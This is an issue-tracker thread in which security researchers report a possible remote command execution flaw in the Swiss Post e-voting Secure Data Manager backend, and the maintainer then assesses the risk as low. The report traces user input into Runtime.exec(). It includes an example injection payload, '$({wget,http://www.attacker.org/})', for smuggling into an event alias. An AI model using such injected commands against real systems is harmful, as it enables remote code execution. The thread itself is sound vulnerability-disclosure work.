Closed Opened 1 week ago by muffinx

Remote Command Execution

Dear E-Voting PIT Team

Now this one I want you to investigate really close. Unfortunately I can't provide you with a POC since we are not able to build the application / spawn our own instance. Also I am not able to give you a 100% precise description, since this codebase is really huge.

So lets start the game!

In this class: /home/muffinx/projects/evoting-solution/source-code/online-voting-secure-data-manager/secure-data-manager-backend/secure-data-manager-integration/src/main/java/com/scytl/products/ov/sdm/plugin/SequentialExecutorImpl.java

There is this function:

```
    public void execute(List<String> commands, Parameters parameters, ExecutionListener listener) {

        for(String command : commands) {
            String mockCommand = command;
            try {
                //Replace the parameters and execute the command
                String[] partialCommands = replaceParameters(command, parameters);
                String fullCommand = partialCommands[0];
                mockCommand = partialCommands[1];
                Process proc = Runtime.getRuntime().exec(fullCommand);
```

Now if an attacker is able to manipulate fullCommand, he can overtake the secure-data-manager-backend system. With this line:

```
Process proc = Runtime.getRuntime().exec(fullCommand);
```

But we see that there is some replacements going on?

```
    private String[] replaceParameters(String command, Parameters parameters) {
        String partialCommand = command;
        String replacedCommand = command;

        for (KeyParameter key : KeyParameter.values()) {
            if(replacedCommand.contains(key.toString())) {
                String value = parameters.getParam(key.name());
                if(value == null || value.isEmpty()){
                    throw new IllegalArgumentException("Parameter #" + key.name() + "# is null or empty");
                } else {
                        replacedCommand = replacedCommand.replaceAll("#" + key + "#", value);
                    if (key == KeyParameter.PRIVATE_KEY) {
                        partialCommand = partialCommand.replaceAll("#" + key + "#", "PRIVATE_KEY");
                    } else {
                        partialCommand = partialCommand.replaceAll("#" + key + "#", value);
                    }
                }
```

To be honest, I don't see at the first glance what replaceParameters() is trying to do...

So next off, where is the execute function called? Only from this class:

/home/muffinx/projects/evoting-solution/source-code/online-voting-secure-data-manager/secure-data-manager-backend/sdm-ws-rest/src/main/java/com/scytl/products/ov/sdm/ui/ws/rs/application/OperationsResource.java

Now here the thing gets really interesting/dangerous, because this class is used in the ws-rest backend (api):

```
@RequestMapping(value = "/generate-pre-voting-outputs/{electionEventId}", method = RequestMethod.POST)
@ApiOperation(value = "Export operation service", notes = "", response = Void.class)
@ApiResponses(value = {@ApiResponse(code = 404, message = "Not Found"),
```

```
        @ApiResponse(code = 403, message = "Forbidden"),
        @ApiResponse(code = 500, message = "Internal Server Error") })
public ResponseEntity<OperationResult> generatePreVotingOutputsOperation(




@RequestMapping(value = "/generate-ea-structure/{electionEventId}", method = RequestMethod.POST)
@ApiOperation(value = "Export operation service", notes = "", response = Void.class)
@ApiResponses(value = {@ApiResponse(code = 404, message = "Not Found"),
        @ApiResponse(code = 403, message = "Forbidden"),
        @ApiResponse(code = 500, message = "Internal Server Error") })
public ResponseEntity<OperationResult> extendedAuthenticationMappingDataOperation(


@RequestMapping(value = "/generate-post-voting-outputs/{electionEventId}/{ballotBoxStatus}", method = RequestMethod.POST)
@ApiOperation(value = "Export operation service", notes = "", response = Void.class)
@ApiResponses(value = {@ApiResponse(code = 404, message = "Not Found"),
        @ApiResponse(code = 403, message = "Forbidden"),
        @ApiResponse(code = 500, message = "Internal Server Error") })
public ResponseEntity<OperationResult> generatePostVotingOutputsOperation(
        @ApiParam(value = "String", required = true) @PathVariable String electionEventId,
        @ApiParam(value = "String", required = true) @PathVariable String ballotBoxStatus,
        @RequestBody final OperationsData request) {



@RequestMapping(value = "/export/{electionEventId}", method = RequestMethod.POST)
@ApiOperation(value = "Export operation service", notes = "", response = Void.class)
@ApiResponses(value = {@ApiResponse(code = 404, message = "Not Found"),
        @ApiResponse(code = 403, message = "Forbidden"),
        @ApiResponse(code = 500, message = "Internal Server Error") })
public ResponseEntity<OperationResult> exportOperation(
```

Now as one can see:

```
{electionEventId}
```

is actually declared as a string:

```
@ApiParam(value = "String", required = true) @PathVariable String electionEventId,
```

that should be declared as a integer instead. And electionEventId will always be used when calling execute():

```
    @RequestMapping(value = "/generate-ea-structure/{electionEventId}", method = RequestMethod.POST)
    @ApiOperation(value = "Export operation service", notes = "", response = Void.class)
    @ApiResponses(value = {@ApiResponse(code = 404, message = "Not Found"),
            @ApiResponse(code = 403, message = "Forbidden"),
            @ApiResponse(code = 500, message = "Internal Server Error") })
    public ResponseEntity<OperationResult> extendedAuthenticationMappingDataOperation(
            @ApiParam(value = "String", required = true) @PathVariable String electionEventId,
            @RequestBody final OperationsData request) {
        Parameters parameters = buildParameters(electionEventId, request.getPrivateKeyInBase64(), null);
        return executeOperationForPhase(parameters, PhaseName.PREPARE_VC_GENERATION, true, null, null);
    }
```

executeOperationForPhase:

```
private ResponseEntity<OperationResult> executeOperationForPhase(Parameters parameters, PhaseName phaseName,
                                                                 boolean failOnEmptyCommandsForPhase, SdmSecureLogEvent s
        try {
            List<String> commandsForPhase = getCommands(phaseName);

            if (failOnEmptyCommandsForPhase && commandsForPhase.isEmpty()) {
                logSecure(secureLogEvent, electionEventId,
                    "The request can not be performed for 4005, Missing commands for phase");
```

```
                return handleException(OperationsOutputCode.MISSING_COMMANDS_FOR_PHASE);
            }
            ExecutionListenerImpl listener = new ExecutionListenerImpl();
            sequentialExecutor.execute(commandsForPhase, parameters, listener);

            if (listener.getError() != 0) {
                logSecure(secureLogEvent, electionEventId, "The request can not be performed for the current resource: "
                    + listener.getError() + ", " + listener.getMessage());
                return handleException(listener);
            }

        } catch (IOException e) {
            int errorCode = OperationsOutputCode.ERROR_IO_OPERATIONS.value();
            logSecure(secureLogEvent, electionEventId, errorCode + ": " + e.getMessage());
            return handleException(e, errorCode);
        } catch (JAXBException | SAXException e) {
            int errorCode = OperationsOutputCode.ERROR_PARSING_FILE.value();
            logSecure(secureLogEvent, electionEventId, errorCode + ": " + e.getMessage());
            return handleException(e, errorCode);
        } catch (Exception e) {
            int errorCode = OperationsOutputCode.GENERAL_ERROR.value();
            logSecure(secureLogEvent, electionEventId, errorCode + ": " + e.getMessage());
            return handleException(e, errorCode);
        }
        return new ResponseEntity<>(HttpStatus.OK);
    }

    private void logSecure(final SdmSecureLogEvent secureLogEvent, final String electionEventId,
            final String errorMessage) {
        if (secureLogEvent != null) {
            secureLogger.log(Level.ERROR, new LogContent.LogContentBuilder().logEvent(secureLogEvent)
                .electionEvent(electionEventId).additionalInfo("err_desc", errorMessage).createLogInfo());
        }
    }

    private Parameters buildParameters(String electionEventId, String privateKeyInBase64, String path) {
        Parameters parameters = new Parameters();

        if (StringUtils.isNotEmpty(electionEventId)) {
            String electionEventAlias = electionEventService.getElectionEventAlias(electionEventId);
            parameters.addParam(KeyParameter.EE_ALIAS.name(), electionEventAlias);
            parameters.addParam(KeyParameter.EE_ID.name(), electionEventId);
        }
        Path sdmPath = pathResolver.resolve(ConfigConstants.SDM_DIR_NAME);
        parameters.addParam(KeyParameter.SDM_PATH.name(), sdmPath.toString().replace("\\", "/"));
        if (StringUtils.isNotEmpty(privateKeyInBase64)) {
            parameters.addParam(KeyParameter.PRIVATE_KEY.name(), privateKeyInBase64);
        }
        if (StringUtils.isNotEmpty(path)) {
            parameters.addParam(KeyParameter.USB_LETTER.name(), path.replace("\\", "/"));
        }
        return parameters;
    }
```

And here the parameters will be passed:

```
sequentialExecutor.execute(commandsForPhase, parameters, listener);
```

So as I said, I can't test this issue, even though, using:

```
Process proc = Runtime.getRuntime().exec();
```

Is a bad practice, since it opens to many opportunities for other usage. I think exploitation could be exotic, possibilities:

1.) just pwn over electionEventId:

/generate-ea-structure/{evil codez}

2.) manipulate event / names stuff to change parameters

Now both this things could possibly be done by people who have already access to the application? Nevertheless, take this one really serious, because some people would actually say "that looks like a backdoor".

Thank you very much for reading my long report.

Best Regards

Anthony Schneiter aka. muffinx Jannis Kirschner aka. xorkiwi

Swisspost @swisspost added In Progress topic: general labels 1 week ago

Swisspost @swisspost · 1 week ago Maintainer

Hi you two,

Thank you very much for your precise report. We will verify this and get back to you.

Kind regards

muffinx @muffinx · 1 week ago Guest

So good news, we finally got hold of the code and its architecture, and we can now provide more in depth analyses.

(Next is a in depth analysis of the RCE in the secure-data-manager-backend)

So to make this issue more easy lets say we generate a ea-structure:

/secure-data-manager-backend/sdm-ws-rest/src/main/java/com/scytl/products/ov/sdm/ui/ws/rs/application /OperationsResource.java

```
@RequestMapping(value = "/generate-ea-structure/{electionEventId}", method = RequestMethod.POST)
@ApiOperation(value = "Export operation service", notes = "", response = Void.class)
@ApiResponses(value = {@ApiResponse(code = 404, message = "Not Found"),
        @ApiResponse(code = 403, message = "Forbidden"),
        @ApiResponse(code = 500, message = "Internal Server Error") })
public ResponseEntity<OperationResult> extendedAuthenticationMappingDataOperation(
        @ApiParam(value = "String", required = true) @PathVariable String electionEventId,
        @RequestBody final OperationsData request) {
    Parameters parameters = buildParameters(electionEventId, request.getPrivateKeyInBase64(), null);
    return executeOperationForPhase(parameters, PhaseName.PREPARE_VC_GENERATION, true, null, null);
}
```

First off we can provide whatever **electionEventId** we want.

buildParameters() is called:

```
private Parameters buildParameters(String electionEventId, String privateKeyInBase64, String path) {
    Parameters parameters = new Parameters();

    if (StringUtils.isNotEmpty(electionEventId)) {
        String electionEventAlias = electionEventService.getElectionEventAlias(electionEventId);
        parameters.addParam(KeyParameter.EE_ALIAS.name(), electionEventAlias);
        parameters.addParam(KeyParameter.EE_ID.name(), electionEventId);
    }
    Path sdmPath = pathResolver.resolve(ConfigConstants.SDM_DIR_NAME);
    parameters.addParam(KeyParameter.SDM_PATH.name(), sdmPath.toString().replace("\\", "/"));
    if (StringUtils.isNotEmpty(privateKeyInBase64)) {
        parameters.addParam(KeyParameter.PRIVATE_KEY.name(), privateKeyInBase64);
    }
    if (StringUtils.isNotEmpty(path)) {
        parameters.addParam(KeyParameter.USB_LETTER.name(), path.replace("\\", "/"));
    }
    return parameters;
}
```

Two things are added to the parameters:

1. electionEventAlias (got by electionEventService.getElectionEventAlias())
2. electionEventId (we control it!)

Now what happens is in

/secure-data-manager-backend/secure-data-manager-services/src/main/java/com/scytl/products/ov/sdm/infrastructure/electionevent/ElectionEventRepositoryImpl.java

```
    @Override
    public String getElectionEventAlias(final String electionEventId) {
        String sql =
            "select alias from " + entityName() + " where id = :id";
        Map<String, Object> parameters = singletonMap(
            JsonConstants.JSON_ATTRIBUTE_NAME_ID, electionEventId);
        List<ODocument> documents;
        try {
            documents = selectDocuments(sql, parameters, 1);
        } catch (OException e) {
            throw new DatabaseException(
                "Failed to get election event alias.", e);
        }
        return documents.isEmpty() ? ""
                : documents.get(0).field("alias", String.class);
    }
```

So if we have provided a junk electionEventId, this will return: ""

So we have now two values:

```
            parameters.addParam(KeyParameter.EE_ALIAS.name(), "");
            parameters.addParam(KeyParameter.EE_ID.name(), "evil payload");
```

These get past to:

```
return executeOperationForPhase(parameters, PhaseName.PREPARE_VC_GENERATION, true, null, null);
```

And will be just redirected to the sequentialExecutor:

```
    private ResponseEntity<OperationResult> executeOperationForPhase(Parameters parameters, PhaseName phaseName,
                                                                      boolean failOnEmptyCommandsForPhase, SdmSecureLogEv
        try {
            List<String> commandsForPhase = getCommands(phaseName);

            if (failOnEmptyCommandsForPhase && commandsForPhase.isEmpty()) {
                logSecure(secureLogEvent, electionEventId,
                    "The request can not be performed for 4005, Missing commands for phase");

                return handleException(OperationsOutputCode.MISSING_COMMANDS_FOR_PHASE);
            }
            ExecutionListenerImpl listener = new ExecutionListenerImpl();
            sequentialExecutor.execute(commandsForPhase, parameters, listener);
```

Because we have a valid phasename nothing really happens (PhaseName.PREPARE_VC_GENERATION).

Now here is the dangerous part:

```
public void execute(List<String> commands, Parameters parameters, ExecutionListener listener) {

      for(String command : commands) {
          String mockCommand = command;
          try {
              //Replace the parameters and execute the command
              String[] partialCommands = replaceParameters(command, parameters);
              String fullCommand = partialCommands[0];
              mockCommand = partialCommands[1];
              Process proc = Runtime.getRuntime().exec(fullCommand);
```

As you can see, before the fullCommand gets executed, replaceParameters() is called, until now an attacker would have no issues, easy peasy, even though the payload is passed by an url, its no problem because he can use url-encoding.

In replaceParameters the final preparation is being done, and here is the tricky part.

```
    private String[] replaceParameters(String command, Parameters parameters) {
        String partialCommand = command;
        String replacedCommand = command;

        for (KeyParameter key : KeyParameter.values()) {
            if(replacedCommand.contains(key.toString())) {
                String value = parameters.getParam(key.name());
                if(value == null || value.isEmpty()){
                    throw new IllegalArgumentException("Parameter #" + key.name() + "# is null or empty");
                } else {
                        replacedCommand = replacedCommand.replaceAll("#" + key + "#", value);
                    if (key == KeyParameter.PRIVATE_KEY) {
                        partialCommand = partialCommand.replaceAll("#" + key + "#", "PRIVATE_KEY");
                    } else {
                        partialCommand = partialCommand.replaceAll("#" + key + "#", value);
                    }
                }
            }
        }

        return new String[]{ replacedCommand, partialCommand};
    }
```

Now if a value is empty, there is an Exception being thrown. Now one could argue that this isn't exploitable.

But if one registers a event alias with a command injection in it, for example (something like):

```
$({wget,http://www.attacker.org/})
```

One could execute code.

We cannot test this, since the platform is not online, and even then there are so many questions around. The thing is, we don't know the practical (infrastructural) settings of these microservices.

But I would assume, that these issues are still very urgent, since administrator users should also not be able to execute commands and etc.

Thank you very much for reading this report.

Best Regards

Anthony Schneiter aka. muffinx Jannis Kirschner aka. xorkiwi

muffinx @muffinx · 1 week ago Guest

Here more news:

/evoting-solution-master/source-code/online-voting-secure-data-manager/secure-data-manager-backend/secure-data-manager-integration/src/main/resources/xsd/plugins.xsd

```
        <xs:simpleType name="PhaseName">
                <xs:restriction base="xs:string">
                        <!-- Prepare action in the Voting Card Sets tab -->
                        <xs:enumeration value="prepare_vc_generation" />
                        <!-- Custom files action in the Voting Card Sets tab -->
                        <xs:enumeration value="generate_pre_voting_outputs" />
                        <!-- Download ballot box -->
                        <xs:enumeration value="download" />
                        <!-- Decrypt ballot box -->
                        <xs:enumeration value="decryption" />
                        <!-- Tally decrypted ballot box -->
                        <xs:enumeration value="tally" />
                        <!-- Import election configuration and status from disk or device -->
                        <xs:enumeration value="import" />
                        <!-- Export election configuration and status to disk or device -->
                        <xs:enumeration value="export" />
                </xs:restriction>
        </xs:simpleType>
```

Here is the prepare_vc_generation phase defined.

Now I still can't find it anywhere else except in test resources:

/evoting-solution-master/source-code/online-voting-secure-data-manager/secure-data-manager-backend/secure-data-manager-integration/src/test/resources/plugins_FRIBURG.xml

/evoting-solution-master/source-code/online-voting-secure-data-manager/secure-data-manager-backend/secure-data-manager-integration/src/test/resources/plugins_FRIBURG_test_err.xml

/evoting-solution-master/source-code/online-voting-secure-data-manager/secure-data-manager-backend/secure-data-manager-integration/src/test/resources/plugins_FRIBURG_ext.xml

Now I think that this RCE could work during the PIT, but you have to make sure that there are actually plugins (or that this method is callable?), else it is broken and unexploitable.

Sorry for the quick descriptions, but the source code analysis of the e-voting platform is pretty hard.

Thanks for reading our reports!

Best Regards

Anthony Schneiter aka. muffinx Jannis Kirschner aka. xorkiwi

Swisspost @swisspost · 3 days ago Maintainer

Hello Anthony,

Thank you for the extensive analysis of this issue.

We agree with your analysis that there is a risk in the Secure Data Manager that one could forge a request to the SDM backend that inserts an exploitable command invocation that is invoked during the plugin execution. We will add validation of the electionEventId in a future release

However, the risk of this is exploit pretty low:

- one can have to have access to the secure data manager that is running in a secure environment.
- one have to intercept the communication between the embedded SDM FE and the SDM BE
- if the attacker has this level of access to the machine, then is not reasonable to execute such attack, as the attacker is able to execute anything on the machine without the need of hacking the communication between the SDM components

As answered previously, it is out of scope of the public intrusion test since the SDM runs on the canton's premises and not in the SwissPost infrastructure.

Does this response suffice to you?

Kind regards

Edited by Swisspost 1 day ago

Swisspost @swisspost closed 3 days ago

Swisspost @swisspost removed In Progress label 1 day ago

Swisspost @swisspost made the issue visible to everyone 1 day ago